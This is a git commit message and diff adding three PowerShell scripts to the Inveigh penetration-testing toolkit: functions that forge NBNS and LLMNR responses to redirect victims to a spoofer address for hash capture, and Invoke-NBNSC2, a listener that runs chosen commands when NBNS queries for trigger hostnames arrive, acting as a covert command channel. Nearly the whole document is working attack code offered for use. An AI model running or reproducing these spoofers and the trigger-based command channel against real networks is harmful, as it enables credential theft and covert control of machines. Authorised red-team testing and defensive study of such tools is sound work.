Early version of Inveigh 1.2 with the new Inveigh-Unprivileged script. This is still a work in progress and has not been fully tested.

1. Inveigh-Unprivileged – This script contains only LLMNR/NBNS spoofing
and hash capture methods that do not require local admin access. The
NBNS spoofer can be used without disabling the local NBNS service. The
LLMNR spoofer does require stopping (needs admin) the local service and
freeing up port 5355. It will work without admin on a system with LLMNR
disabled. This script replaces Inveigh-BruteForce since it contains the
same functionality. Note that there can still be systems configurations
that will prevent  Inveigh-Unprivileged from working, and require admin
access to change (e.g. local firewall blocking traffic, LLMNR enabled).

2. Extras – Added an extras directory for functions that don’t fit the
main scripts.
a. Send-NBNSResponse – This function sends a crafted NBNS response
packet to a specific target. For name resolution to be successful, the
specified TargetIP, Hostname, and TransactionID must match a very (very
very) recent NBNS request. You must have an external method
(wireshark,etc) of viewing the required NBNS request fields for traffic
on the target subnet. The odds of pulling this attack off manually are
slim due to the narrow response window. I've only been able to get it to
work manually by watching tshark with the the transaction ID being
listed in the output. Ideally, this function would be fed by another
script.

b. Send-LLMNResponse – Just like Send-NBNSResponse but even harder to
use manually.

c. Invoke-NBNSC2 - Invoke-NBNSC2 will listen for NBNS requests and
execute set commands if requests for specific hostnames are received.
The function must be supplied with an even number of Hostnames and
Commands. NBNS requests can be sent from a NBNS enabled system on the
same subnet using ping, etc.

3 files changed, 347 insertions, 0 deletions

diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1
new file mode 100644
index 0000000..f04d7ef
--- /dev/null
+++ b/Extras/Invoke-NBNSC2.ps1
@@ -0,0 +1,155 @@
+function Invoke-NBNSC2
+{
+<#
+.SYNOPSIS
+Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are
+received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be
+sent from a NBNS enabled system on the same subnet using ping, etc.
+
+.PARAMETER Hostnames
+A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command
+from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]).
+
+.PARAMETER Commands
+An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets.
+
+.PARAMETER ExitHostname
+Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames.
+
+.PARAMETER RunTime
+(Integer) Set the run time duration.
+
+.PARAMETER RunTimeUnit
+Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days.
+
+.EXAMPLE
+Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days
+
+.LINK
+https://github.com/Kevin-Robertson/Inveigh
+#>
+
+[CmdletBinding()]
+param
+(
+[parameter(Mandatory=$true)][Array]$Hostnames = "",
+[parameter(Mandatory=$true)][Array]$Commands = "",
+[parameter(Mandatory=$true)][String]$ExitHostname = "",
+[parameter(Mandatory=$false)][Int]$RunTime="",
+[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes",
+[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+)
+
+if ($invalid_parameter)
+{
+    throw "$($invalid_parameter) is not a valid parameter."
+}
+
+if($Hostnames.Count -ne $Commands.Count)
+{
+    throw "Must use an equal number of Hostnames and Commands."
+}
+elseif($Hostnames -contains $ExitHostname)
+{
+    throw "ExitHostname cannot be used as in Hostnames."
+}
+
+if($RunTime)
+{   
+    if($RunTimeUnit -like 'Minutes')
+    {
+        $runtime_timeout = new-timespan -Minutes $RunTime
+    }
+    elseif($RunTimeUnit -like 'Hours')
+    {
+        $runtime_timeout = new-timespan -Hours $RunTime
+    }
+    elseif($RunTimeUnit -like 'Days')
+    {
+        $runtime_timeout = new-timespan -Days $RunTime
+    }
+
+    $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
+}
+
+$Hostnames = $Hostnames | % {$_.ToUpper()}
+$running = $true
+$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137)
+$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
+$NBNS_UDP_client.Client.ReceiveTimeout = 10000
+$control_timeout = new-timespan -Seconds 1
+$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
+
+while($running)
+{
+    try
+    {
+        $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint)
+    }
+    catch
+    {
+        $NBNS_request_data = $null
+    }
+
+    if($NBNS_request_data)
+    {
+        $NBNS_query_string_encoded = $([Text.Encoding]::UTF8.GetString($NBNS_request_data))
+        $NBNS_query_string_encoded = $NBNS_query_string_encoded.SubString(13,($NBNS_query_string_encoded.Length - 16))
+        $NBNS_query_string_encoded = $NBNS_query_string_encoded -replace "00",""
+
+        if($NBNS_query_string_encoded -like '*CA*')
+        {
+            $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
+        }
+
+        $NBNS_query_string_subtracted = ""
+        $NBNS_query_string = ""
+        $n = 0
+                            
+        if($NBNS_query_string_encoded.Length -gt 1)
+        {
+            do
+            {
+                $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
+                $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
+                $n += 1
+            }
+            until($n -gt ($NBNS_query_string_encoded.Length - 1))
+                   
+            $n = 0
+                    
+            do
+            {
+                $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
+                $n += 2
+            }
+            until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
+        }
+
+        if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout)
+        {
+            $NBNS_UDP_client.Close()
+            $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string)
+            $NBNS_query_string = ''
+            & $Commands[$command_index]
+            $control_timeout = new-timespan -Seconds 5
+            $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
+            $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
+            $NBNS_UDP_client.Client.ReceiveTimeout = 10000
+        }
+        elseif($ExitHostname -like $NBNS_query_string)
+        {
+            $running = $false
+        }
+    }
+
+    if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout)
+    {
+        $running = $false
+    }
+
+}
+
+$NBNS_UDP_client.Close()
+
+}
\ No newline at end of file
diff --git a/Extras/Send-LLMNRResponse.ps1 b/Extras/Send-LLMNRResponse.ps1
new file mode 100644
index 0000000..cc22091
--- /dev/null
+++ b/Extras/Send-LLMNRResponse.ps1
@@ -0,0 +1,87 @@
+
+function Send-LLMNRResponse
+{
+<#
+.SYNOPSIS
+Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful,
+the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request.
+You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the
+target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response
+window. Ideally, this function would be fed by another script.
+
+.PARAMETER Hostname
+Default = WPAD: Specify a hostname for NBNS spoofing.
+
+.PARAMETER LLMNRTTL
+Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
+
+.PARAMETER SendPort
+Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355
+which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine.
+
+.PARAMETER SpooferIP
+Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
+other than the function host. 
+
+.PARAMETER TargetIP
+Specify an IP address to target for the LLMNR response.
+
+.PARAMETER TargetPort
+Specify an port to target for the LLMNR response. This port must match the source port included in the request.
+
+.EXAMPLE
+Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
+
+.LINK
+https://github.com/Kevin-Robertson/Inveigh
+#>
+
+
+[CmdletBinding()]
+param
+(
+[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
+[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
+[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
+[parameter(Mandatory=$true)][String]$Hostname = "",
+[parameter(Mandatory=$true)][Int]$TargetPort="",
+[parameter(Mandatory=$false)][Int]$SendPort="0",
+[parameter(Mandatory=$false)][Int]$LLMNRTTL="30",
+[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+)
+
+if ($invalid_parameter)
+{
+    throw "$($invalid_parameter) is not a valid parameter."
+}
+
+if(!$SpooferIP)
+{ 
+    $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
+}
+
+$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
+$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL)
+[Array]::Reverse($LLMNR_TTL_bytes)
+$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
+$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+
+$LLMNR_response_packet = $Transaction_ID_bytes +
+                                 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 +
+                                 $hostname_bytes.Count +
+                                 $hostname_bytes +
+                                 0x00,0x00,0x01,0x00,0x01 +
+                                 $hostname_bytes.Count +
+                                 $hostname_bytes +
+                                 0x00,0x00,0x01,0x00,0x01 +
+                                 $LLMNR_TTL_bytes +
+                                 0x00,0x04 +
+                                 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
+
+$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
+$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
+$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort)
+$send_socket.Connect($destination_point)
+$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length)
+$send_socket.Close()
+}
\ No newline at end of file
diff --git a/Extras/Send-NBNSResponse.ps1 b/Extras/Send-NBNSResponse.ps1
new file mode 100644
index 0000000..3d5ed02
--- /dev/null
+++ b/Extras/Send-NBNSResponse.ps1
@@ -0,0 +1,105 @@
+
+function Send-NBNSResponse
+{
+<#
+.SYNOPSIS
+Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful,
+the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must
+have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target
+subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been
+able to get it to work manually by watching tshark with the the transaction ID being listed in the output.
+Ideally, this function would be fed by another script. 
+
+.PARAMETER Hostname
+Default = WPAD: Specify a hostname for NBNS spoofing.
+
+.PARAMETER NBNSTTL
+Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
+
+.PARAMETER SendPort
+Default = 137: Specify a source port for the NBNS response.
+
+.PARAMETER SpooferIP
+IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
+other than the function host. 
+
+.PARAMETER TargetIP
+IP address to target for the NBNS response.
+
+.PARAMETER TransactionID
+NBNS transaction ID that matches the transaction from the NBNS request.
+
+.EXAMPLE
+Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
+
+.LINK
+https://github.com/Kevin-Robertson/Inveigh
+#>
+
+
+[CmdletBinding()]
+param
+(
+[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
+[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
+[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
+[parameter(Mandatory=$true)][String]$Hostname = "",
+[parameter(Mandatory=$false)][Int]$SendPort="137",
+[parameter(Mandatory=$false)][Int]$NBNSTTL="165",
+[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+)
+
+if ($invalid_parameter)
+{
+    throw "$($invalid_parameter) is not a valid parameter."
+}
+
+if(!$SpooferIP)
+{ 
+    $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
+}
+
+$Hostname = $Hostname.ToUpper()
+
+$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
+                  0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00
+
+$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
+$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
+$hostname_encoded = $hostname_encoded.Replace("-","")
+$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded)
+$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
+[Array]::Reverse($NBNS_TTL_bytes)
+$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
+$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+
+for($i=0; $i -lt $hostname_encoded.Count; $i++)
+{
+
+    if($hostname_encoded[$i] -gt 64)
+    {
+        $hostname_bytes[$i] = $hostname_encoded[$i] + 10
+    }
+    else
+    {
+        $hostname_bytes[$i] = $hostname_encoded[$i] + 17
+    }
+    
+}
+
+$NBNS_response_packet = $Transaction_ID_bytes +
+                        0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
+                        $hostname_bytes +
+                        0x00,0x20,0x00,0x01 +
+                        $NBNS_TTL_bytes +
+                        0x00,0x06,0x00,0x00 +
+                        ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
+                        0x00,0x00,0x00,0x00
+
+$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
+$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
+$destination_point = New-Object Net.IPEndpoint($destination_IP,137)
+$send_socket.Connect($destination_point)
+$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length)
+$send_socket.Close()
+}
\ No newline at end of file